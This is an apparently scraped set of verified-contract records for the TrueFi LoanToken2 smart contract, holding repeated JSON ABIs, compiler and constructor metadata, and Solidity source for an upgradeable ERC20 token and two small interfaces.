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ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

UpgradeableERC20.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {Address} from "Address.sol"; import {Context} from "Context.sol"; import {IERC20} from "IERC20.sol"; import {SafeMath} from "SafeMath.sol"; import {Initializable} from "Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_initialize(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public virtual view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function updateNameAndSymbol(string memory __name, string memory __symbol) internal { _name = __name; _symbol = __symbol; } }

[{"inputs":[{"internalType":"contract ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum ILoanToken2.Status","name":"status","type":"uint8"}],"name":"Liquidated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"borrower","type":"address"},{"indexed":false,"internalType":"uint256","name":"reclaimedAmount","type":"uint256"}],"name":"Reclaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"burnedAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"redeemedAmount","type":"uint256"}],"name":"Redeemed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"repayer","type":"address"},{"indexed":false,"internalType":"uint256","name":"repaidAmount","type":"uint256"}],"name":"Repaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Settled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"TransferAllowanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"beneficiary","type":"address"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"LAST_MINUTE_PAYBACK_DURATION","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"allowTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"apy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"borrower","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"debt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enterDefault","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getParameters","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInitialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isRepaid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"contract ITrueFiPool2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"redeem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"redeemed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"repaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"repay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"repayInFull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"status","outputs":[{"internalType":"enum ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

ITrueLender2.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ITrueFiPool2} from "ITrueFiPool2.sol"; import {ILoanToken2} from "ILoanToken2.sol"; interface ITrueLender2 { // @dev calculate overall value of the pools function value(ITrueFiPool2 pool) external view returns (uint256); // @dev distribute a basket of tokens for exiting user function distribute( address recipient, uint256 numerator, uint256 denominator ) external; function transferAllLoanTokens(ILoanToken2 loan, address recipient) external; }

[{"inputs":[{"internalType":"contract ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum ILoanToken2.Status","name":"status","type":"uint8"}],"name":"Liquidated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"borrower","type":"address"},{"indexed":false,"internalType":"uint256","name":"reclaimedAmount","type":"uint256"}],"name":"Reclaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"burnedAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"redeemedAmount","type":"uint256"}],"name":"Redeemed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"repayer","type":"address"},{"indexed":false,"internalType":"uint256","name":"repaidAmount","type":"uint256"}],"name":"Repaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Settled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"TransferAllowanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"beneficiary","type":"address"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"LAST_MINUTE_PAYBACK_DURATION","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"allowTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"apy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"borrower","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"debt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enterDefault","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getParameters","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInitialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isRepaid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"state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ILoanToken2.Status","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"term","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract ERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_balance","type":"uint256"}],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_beneficiary","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.10+commit.00c0fcaf

0000000000000000000000006002b1dcb26e7b1aa797a17551c6f487923299d70000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e19203000000000000000000000000a606dd423df7dfb65efe14ab66f5fdebf62ff5830000000000000000000000007ac899754dd042024bb168fd5c9a07420f444bdf000000000000000000000000000000000000000000000000000003234406440000000000000000000000000000000000000000000000000000000000004f1a00000000000000000000000000000000000000000000000000000000000000033f

Default

None

LoanToken2

IERC20WithDecimals.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; interface IERC20WithDecimals is IERC20 { function decimals() external view returns (uint256); }

[{"inputs":[{"internalType":"contract ITrueFiPool2","name":"_pool","type":"address"},{"internalType":"address","name":"_borrower","type":"address"},{"internalType":"address","name":"_lender","type":"address"},{"internalType":"address","name":"_liquidator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_term","type":"uint256"},{"internalType":"uint256","name":"_apy","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Defaulted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lender","type":"address"}],"name":"Funded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum ILoanToken2.Status","name":"status","type":"uint8"}],"name":"Liquidated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"borrower","type":"address"},{"indexed":false,"internalType":"uint256","name":"reclaimedAmount","type":"uint256"}],"name":"Reclaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"receiver","type":"address"},{"indexed":false,"internalType":"uint256","name":"burnedAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"redeemedAmount","type":"uint256"}],"name":"Redeemed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"repayer","type":"address"},{"indexed":false,"internalType":"uint256","name":"repaidAmount","type":"uint256"}],"name":"Repaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"returnedAmount","type":"uint256"}],"name":"Settled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"TransferAllowanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"beneficiary","type":"address"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"LAST_MINUTE_PAYBACK_DURATION","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"allowTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"apy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"borrower","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs